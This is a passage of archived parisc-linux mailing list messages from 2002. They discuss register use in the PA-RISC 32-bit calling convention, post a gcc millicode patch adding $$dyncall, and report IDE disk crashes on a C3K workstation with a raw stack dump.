Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14471

> 
> So, are the first four floats/doubles in an arg list always passed in 
> registers?
> 
> How about func(int, float, int, double, int, float)?
> 
>

A float fits into a single fr register.
A double fits into two fr registers (fr7 (uses fr6),fr5 (uses fr4)) 


	int    gr26 - fr7    ===
	===    gr25 - fr6    ===
	int    gr24 - fr5    float
	===    gr23 - fr4    ===

I wonder what happens if the call was int,int,float... and if that
would make a difference :)

/me goes to check

Hrmm...

        int    gr26 - fr7    ===
        int    gr25 - fr6    float
        ===    gr24 - fr5    === 
        ===    gr23 - fr4    ===

Not sure why that doesn't happen in the first example. Though 
I am no guru at this :)

Any help from more knowledgable parties would be helpful.

c.



From - Thu Nov 08 21:22:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Fwd: Re: Any hppa gurus?
Date: Sat, 30 Mar 2002 12:36:09 -0500 (EST)
Lines: 37
Approved: news@gmane.org
Message-ID: <200203301736.g2UHaAic028252@hiauly1.hia.nrc.ca>
References: <20020330104724.A16468@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621199 5564 80.91.229.3 (22 Nov 2014 01:53:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:53:19 +0000 (UTC)
Cc: will@misconception.org.uk, parisc-linux@parisc-linux.org,
	debian-hppa@debian.org
To: carlos@baldric.uwo.ca (Carlos O'Donell Jr.)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Mar 30 10:36:14 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id D2B26482A
	for <parisc-linux@parisc-linux.org>; Sat, 30 Mar 2002 10:36:13 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id g2UHaAFN028253;
	Sat, 30 Mar 2002 12:36:11 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id g2UHaAic028252;
	Sat, 30 Mar 2002 12:36:10 -0500 (EST)
In-Reply-To: <20020330104724.A16468@systemhalted> from "Carlos O'Donell Jr." at Mar 30, 2002 10:47:24 am
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14472

> > 
> > So, are the first four floats/doubles in an arg list always passed in 
> > registers?

No.  Although it might seem that you could pass 4 floats and 4 ints, this
is not done.  The 32-bit linux ABI is exactly the same as the 32-bit hpux ABI
except that argument relocations aren't done.  There are situations (e.g.,
indirect calls) where an argument is passed in both general and floating
registers under hpux because the linker doesn't know how to relocate
the arguments for the call.  Thus, you can't use gr24 for an int argument
and fr5 for a different float argument.

This isn't going to change as changing the ABI would require recompilation
of everthing, as well as modifications to gcc, binutils, gdb and the
runtime documentation.  You can find the HP runtime documents here:
<http://h21007.www2.hp.com/dspp/tech/tech_TechTypeListingPage_IDX/1,1704,10403,00.html>.

> > 
> > How about func(int, float, int, double, int, float)?
> > 
> >
> 
> A float fits into a single fr register.
> A double fits into two fr registers (fr7 (uses fr6),fr5 (uses fr4)) 
> 
> 
> 	int    gr26 - fr7    ===
> 	===    gr25 - fr6    ===
> 	int    gr24 - fr5    float
> 	===    gr23 - fr4    ===

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)



From - Thu Nov 08 21:22:17 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] $$remI corner case
Date: Sat, 30 Mar 2002 13:38:00 -0500 (EST)
Lines: 72
Approved: news@gmane.org
Message-ID: <200203301838.g2UIc1FP028387@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621200 5572 80.91.229.3 (22 Nov 2014 01:53:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:53:20 +0000 (UTC)
Cc: bame@debian.org, amodra@bigpond.net.au
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Mar 30 11:38:09 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 70787482A
	for <parisc-linux@parisc-linux.org>; Sat, 30 Mar 2002 11:38:08 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id g2UIc1FN028389;
	Sat, 30 Mar 2002 13:38:02 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id g2UIc1FP028387;
	Sat, 30 Mar 2002 13:38:01 -0500 (EST)
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14473

I have investigated the failure of gcc.c-torture/execute/arith-rand.c
under hppa-linux.  The failure is caused by $$remI returning an incorrect
signed result when the divisor is 0x80000000 (largest negative integer).
The 32-bit linux port currently uses the millicode routines in milli32.S.
This is older code dating from 1995.

The 64-bit port uses milli64.S.  This code looks like it was originally
written for 32-bit but I it's possible some changes have been made
that would make it incompatible with 32-bit registers.  Paul and Alan,
could you comment on this?

I added $$dyncall to milli64.S and modified t-linux to use milli64.S.
This fixes the arith-rand.c fail and there are no other regressions,
so I think we can use milli64.S on both the 32-bit and 64-bit ports.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)

2002-03-30  John David Anglin  <dave@hiauly1.hia.nrc.ca>

	* milli64.S ($$dyncall): New function.
	* t-linux (LIB1ASMFUNCS): Revise module list.
	(LIB1ASMSRC): Use pa/milli64.S.

--- milli64.S.orig	Mon Feb  4 15:25:13 2002
+++ milli64.S	Fri Mar 29 19:36:28 2002
@@ -194,6 +194,30 @@
 #define LREF(sym)	 CAT(L$,sym)
 #endif
 
+#ifdef L_dyncall
+	SUBSPA_MILLI
+	ATTR_DATA
+GSYM($$dyncall)
+	.export $$dyncall,millicode
+	.proc
+	.callinfo	millicode
+	.entry
+	bb,>=,n %r22,30,LREF(1)		; branch if not plabel address
+	depi	0,31,2,%r22		; clear the two least significant bits
+	ldw	4(%r22),%r19		; load new LTP value
+	ldw	0(%r22),%r22		; load address of target
+LSYM(1)
+#ifdef LINUX
+	bv	%r0(%r22)		; branch to the real target
+#else
+	ldsid	(%sr0,%r22),%r1		; get the "space ident" selected by r22
+	mtsp	%r1,%sr0		; move that space identifier into sr0
+	be	0(%sr0,%r22)		; branch to the real target
+#endif
+	stw	%r2,-24(%r30)		; save return address into frame marker
+	.exit
+	.procend
+#endif
 
 #ifdef L_divI
 /* ROUTINES:	$$divI, $$divoI
--- t-linux.orig	Thu Mar 28 19:29:46 2002
+++ t-linux	Fri Mar 29 19:40:36 2002
@@ -1,13 +1,9 @@
 #Plug millicode routines into libgcc.a  We want these on both native and
-#cross compiles.
+#cross compiles.  We use the "64-bit" routines because the "32-bit" code
+#is broken for certain corner cases.
 
-LIB1ASMFUNCS =  _divI _divU _remI _remU _multiply \
-	_divI_15 _divI_14 _divI_12 _divI_10 _divI_9 \
-	_divI_7 _divI_6 _divI_5 _divI_3 \
-	_divU_15 _divU_14 _divU_12 _divU_10 _divU_9 \
-	_divU_7 _divU_6 _divU_5 _divU_3 _dyncall

From - Thu Nov 08 21:22:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell Jr." <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Fwd: Re: Any hppa gurus?
Date: Sat, 30 Mar 2002 15:11:30 -0500
Lines: 89
Approved: news@gmane.org
Message-ID: <20020330151130.B16616@systemhalted>
References: <20020330104724.A16468@systemhalted> <200203301736.g2UHaAic028252@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621200 5585 80.91.229.3 (22 Nov 2014 01:53:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:53:20 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org, will@misconception.org.uk
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Mar 30 13:10:28 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from sh.od.inet (CPE0080c82c70ca.cpe.net.cable.rogers.com [24.112.140.233])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9DD8B482A
	for <parisc-linux@parisc-linux.org>; Sat, 30 Mar 2002 13:10:27 -0700 (MST)
Original-Received: (from carlos@localhost)
	by sh.od.inet (8.11.6/8.11.0) id g2UKBU416799;
	Sat, 30 Mar 2002 15:11:30 -0500
Mail-Followup-To: "Carlos O'Donell Jr." <carlos@baldric.uwo.ca>,
	John David Anglin <dave@hiauly1.hia.nrc.ca>,
	parisc-linux@parisc-linux.org, will@misconception.org.uk
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <200203301736.g2UHaAic028252@hiauly1.hia.nrc.ca>; from dave@hiauly1.hia.nrc.ca on Sat, Mar 30, 2002 at 12:36:09PM -0500
X-Useless-Header: oooohhmmm, chant the email mantra...
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14474

> 
> No.  Although it might seem that you could pass 4 floats and 4 ints, this
> is not done.  The 32-bit linux ABI is exactly the same as the 32-bit hpux ABI
> except that argument relocations aren't done.  There are situations (e.g.,
> indirect calls) where an argument is passed in both general and floating
> registers under hpux because the linker doesn't know how to relocate
> the arguments for the call.  Thus, you can't use gr24 for an int argument
> and fr5 for a different float argument.
> 
> This isn't going to change as changing the ABI would require recompilation
> of everthing, as well as modifications to gcc, binutils, gdb and the
> runtime documentation.  You can find the HP runtime documents here:
> <http://h21007.www2.hp.com/dspp/tech/tech_TechTypeListingPage_IDX/1,1704,10403,00.html>.
>

It's clear that you can't pass 8 words, since the 32-Bit ABI says that
only the first 4 words are passed in registers as parameters for a function (2-26).

I'm not sure what's implied by the need for 4 words of "spill over" in the stack
for the first 4 arguments to the function call.

int,int,float produces:

	Produced	Produced		Expected

	int	gr26	fr7	-----		===	float
	int	gr25	fr6	float		===	-----
	---	gr24	fr5	-----		---	-----
	---	gr23	fr4	-----		---	-----

int,float,int produces:

	Produced	Produced		Expected

	int	gr26	fr7	-----		===	float
	---	gr25	fr6	-----		int	-----
	int	gr24	fr5	float		---	-----
	---	gr23	fr4	-----		---	-----

int,float,double produces:

	Produced	Produced		Expected

	int	gr26	fr7	double		===	float
	---	gr25	fr6	+++		---	---
	---	gr24	fr5	float		---	double
	---	gr23	fr4	---		---	+++


I generally read from the 274 Page pdf HPUX 11.00 v1.0
 "The 32-Bit PARISC Run-Time Architecture Document"

It's become a little game lately ;) I build some code, and try to 
second guess what the .s file will contain... and I'm usually wrong.
Which just means that I need to start looking at more code to see
how things were implemented.


Lately I was thrown by the call to printf (vararg):

char*,int,double,int,float,int,float:

	Produced		Produced	

        char		gr26	fr7	doubleH
        int		gr25	fr6	doubleL
        doubleH		gr24	fr5	-----
        doubleL		gr23	fr4	-----

Which really leaves me scratching my head, since gr24 and gr23
shouldn't be used for relocation in this case? I guess varargs
are another cute case :}

--

Re: New ABI -> Possibly minimal perforamnce increase, and loss of HPUX compatibility.

>From my current reading, removing register relocation doesn't hinder 
compatibility in any way?

I'm still not familiar with all the situations that might occur in indierct
calls (or all regular calls for the matter).

Thanks for all the patience jda.

c. 




From - Thu Nov 08 21:22:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Fwd: Re: Any hppa gurus?
Date: Sat, 30 Mar 2002 16:32:23 -0500 (EST)
Lines: 45
Approved: news@gmane.org
Message-ID: <200203302132.g2ULWNcp028559@hiauly1.hia.nrc.ca>
References: <20020330151130.B16616@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621200 5594 80.91.229.3 (22 Nov 2014 01:53:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:53:20 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org, will@misconception.org.uk
To: carlos@baldric.uwo.ca (Carlos O'Donell Jr.)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Mar 30 14:32:30 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id F1559482A
	for <parisc-linux@parisc-linux.org>; Sat, 30 Mar 2002 14:32:29 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id g2ULWOFN028560;
	Sat, 30 Mar 2002 16:32:24 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id g2ULWNcp028559;
	Sat, 30 Mar 2002 16:32:23 -0500 (EST)
In-Reply-To: <20020330151130.B16616@systemhalted> from "Carlos O'Donell Jr." at Mar 30, 2002 03:11:30 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14475

> It's clear that you can't pass 8 words, since the 32-Bit ABI says that
> only the first 4 words are passed in registers as parameters for a function (2-26).
> 
> I'm not sure what's implied by the need for 4 words of "spill over" in the stack

I some situations, the callee needs to save the argument registers on
the stack.  There are 4 words reserved for this.

> for the first 4 arguments to the function call.
> 
> int,int,float produces:
> 
> 	Produced	Produced		Expected
> 
> 	int	gr26	fr7	-----		===	float
> 	int	gr25	fr6	float		===	-----
> 	---	gr24	fr5	-----		---	-----
> 	---	gr23	fr4	-----		---	-----

You've got the order of the float registers reversed.  They are allocated
in order of increasing number starting with fr4.

> Lately I was thrown by the call to printf (vararg):
> 
> char*,int,double,int,float,int,float:
> 
> 	Produced		Produced	
> 
>         char		gr26	fr7	doubleH
>         int		gr25	fr6	doubleL
>         doubleH		gr24	fr5	-----
>         doubleL		gr23	fr4	-----
> 
> Which really leaves me scratching my head, since gr24 and gr23
> shouldn't be used for relocation in this case? I guess varargs
> are another cute case :}

Again, reverse the order of the float regs and it makes more sense.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)



From - Thu Nov 08 21:22:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Fwd: Re: Any hppa gurus?
Date: Sat, 30 Mar 2002 16:56:49 -0500 (EST)
Lines: 15
Approved: news@gmane.org
Message-ID: <200203302156.g2ULunaP028620@hiauly1.hia.nrc.ca>
References: <200203302132.g2ULWNcp028559@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621201 5605 80.91.229.3 (22 Nov 2014 01:53:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:53:21 +0000 (UTC)
Cc: carlos@baldric.uwo.ca, parisc-linux@parisc-linux.org,
	will@misconception.org.uk
To: dave@hiauly1.hia.nrc.ca (John David Anglin)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Mar 30 14:56:53 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 42DB4482A
	for <parisc-linux@parisc-linux.org>; Sat, 30 Mar 2002 14:56:52 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id g2ULunFN028621;
	Sat, 30 Mar 2002 16:56:50 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id g2ULunaP028620;
	Sat, 30 Mar 2002 16:56:49 -0500 (EST)
In-Reply-To: <200203302132.g2ULWNcp028559@hiauly1.hia.nrc.ca> from "John David Anglin" at Mar 30, 2002 04:32:23 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14476

> You've got the order of the float registers reversed.  They are allocated
> in order of increasing number starting with fr4.

I should add that the numbering of the floating registers depends on
processor variant.  PA 1.0 had 16 floating registers holding word or
double word values.  PA 1.1 has 32 floating registers and each half
are separately addressable.  See pa32-regs.h for more details.  The
ABI was designed for the base 1.0 processor.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)



From - Thu Nov 08 21:22:18 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: DJ Tha Muggs <djmuggs@mail.cvee.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] IDE Harddisks in a C3K
Date: Sun, 31 Mar 2002 14:48:48 +0200
Lines: 104
Approved: news@gmane.org
Message-ID: <20020331124848.GA291@cvee.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621201 5612 80.91.229.3 (22 Nov 2014 01:53:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:53:21 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Mar 31 05:48:51 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.cvee.org (primare.xs4all.nl [213.84.188.140])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2A537482A
	for <parisc-linux@parisc-linux.org>; Sun, 31 Mar 2002 05:48:50 -0700 (MST)
Original-Received: from mail.cvee.org (localhost [127.0.0.1])
	by mail.cvee.org (8.12.2/8.12.2/Debian -5) with ESMTP id g2VCmmNi000303
	for <parisc-linux@parisc-linux.org>; Sun, 31 Mar 2002 14:48:48 +0200
Original-Received: (from djmuggs@localhost)
	by mail.cvee.org (8.12.2/8.12.2/Debian -5) id g2VCmmrv000302
	for parisc-linux@parisc-linux.org; Sun, 31 Mar 2002 14:48:48 +0200
Content-Disposition: inline
User-Agent: Mutt/1.3.27i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14477

Anyone experienced with using IDE hdd's in a C3K?

Because i got some issue's with this, i'm just trying to see if it works, but it
crashes the complete system when using IDE hhd's.
Mounting the disk is no problem, but copying and moving stuff around causes
the system to crash, a stack dump.
After booting the system and then trying to mount i get warning that
partitions are not clean and should be fsck'd.
When doing this it can go good or bad, bad means again a stack dump.
A Portion of the stack dump you can find below, this one was caused while
copying data.

What i noticed when FSCKing, Copying or Moving stuff all the free memory
will be used up at the end, when endig the process i get the memory back.
Mainly i think there is problem with the VM, because a lot of dumps show VM
errors.

I have not connected the IDE cd-rom now, but when i was using this i never
noticed the problems above.

Are IDE badly supported or no one realy tried it yet?

<stack dump>
WARNING! Stack pointer and cr30 do not correspond!
Dumping virtual address stack instead

Dumping Stack from 0x2a858000 to 0x2a8586c0:
8000 8d363d03 5de563a5 aef06f1a 6839cb5c 48cf9be9 04eb4f29 4ff570f8 57aa980f
8020 c1869084 9d23356d 738650a1 0375b1b9 995cc486 3c36d9d4 8c6925d2 6dc55d09
8040 60ca8ad2 7237b043 8ceb2e0d 966356b6 621e72de f753458d 34da7885 82518273
8060 809c0e0d 29ec537f b1dfffff ffffffff ffeaf927 51913498 052b3bdc 4dfface0
8080 c7d818e1 6a23dfdc da144af5 71705417 f6f6d374 f21f12ae 87ac9c34 1200cf16
80a0 1276b824 c3bd449a 4f1f824c 6f1dc731 a0ac3155 468aa2b1 8f9672ea 8a788c88
80c0 d8a36274 a454d9c1 5511b214 0dc2d7d6 a3e59b4a ddd77fd2 bfe6bafb f7c56247
80e0 0fa0e099 eb31ea2a c275094f 155356c5 219882dc a76edb72 d38d2b1f 5970a4f0
8100 181b609e 72aa5bfa 4581fbea a14f50f4 384e8df5 4be34cf9 20e65aaa 23290e49
8120 92474664 73b0b353 a84b9214 74296654 b8d98d5b 019174ed c1912dbb d1f4d0bc
8140 3c45d408 76be6db8 b34fadd7 d2df77f1 6a504c98 c40b9ff7 dfffffff ffffffff
8160 ffa86213 d1e4997d 54058add 6e4f0c89 9dc00dca 958572ce 2b05409d 3456cee3
8180 e5476481 3c2f2501 cece9727 26fffba0 04c98003 c5305603 2f7a6074 670ae061
81a0 ef5c0f58 e1580cbd eb81f11d eb4197bd 703d83d8 e301dc5a 0be93d09 a56a895e
81c0 84378651 b741cc29 2896b431 813eaf8a 88428e82 773ae673 e5ca1c06 fc3e55bc
81e0 2e4c70bb e83a7d1f bba376dd c3dea2bd f1fcff74 ff50e0ea af717f59 f4d79573
8200 7a6a1c2c ee686ba2 ee274b39 dc2a410c b9f2b8aa 9b2ee7fa d214ae6f 683a154b
8220 a518b21a 4ac3bcff 42d72822 db052065 89993655 b9a18c6d 012a3a45 84e9434b
8240 b96f7ce6 7a9e2aa4 bb1ab8e7 4ea410dc 32c66541 297adb09 ce959585 7e24b7df
8260 810615eb 023c7a47 c7bd6def 8dc7d52d 68162611 1006d4b6 a47c5af8 49dd7f50
8280 51bc8185 53214d56 85793b93 01b4e606 e2cb6433 39654b56 5d4eb1e3 f2e66b17
82a0 8db76a0b 96dbbb91 44ad43c5 5b4cb1a5 269aab48 1bf5f83c 8eb5c16f 99568845
82c0 87b20c63 1784a9b4 9b4250e5 5284b651 957d70a5 38d81918 94383728 fecfa90e
82e0 d6859648 4d986187 a8b1b75c ef38ae35 278d1e4d 5ed6d66d 2a14dbd0 ba4bde6b
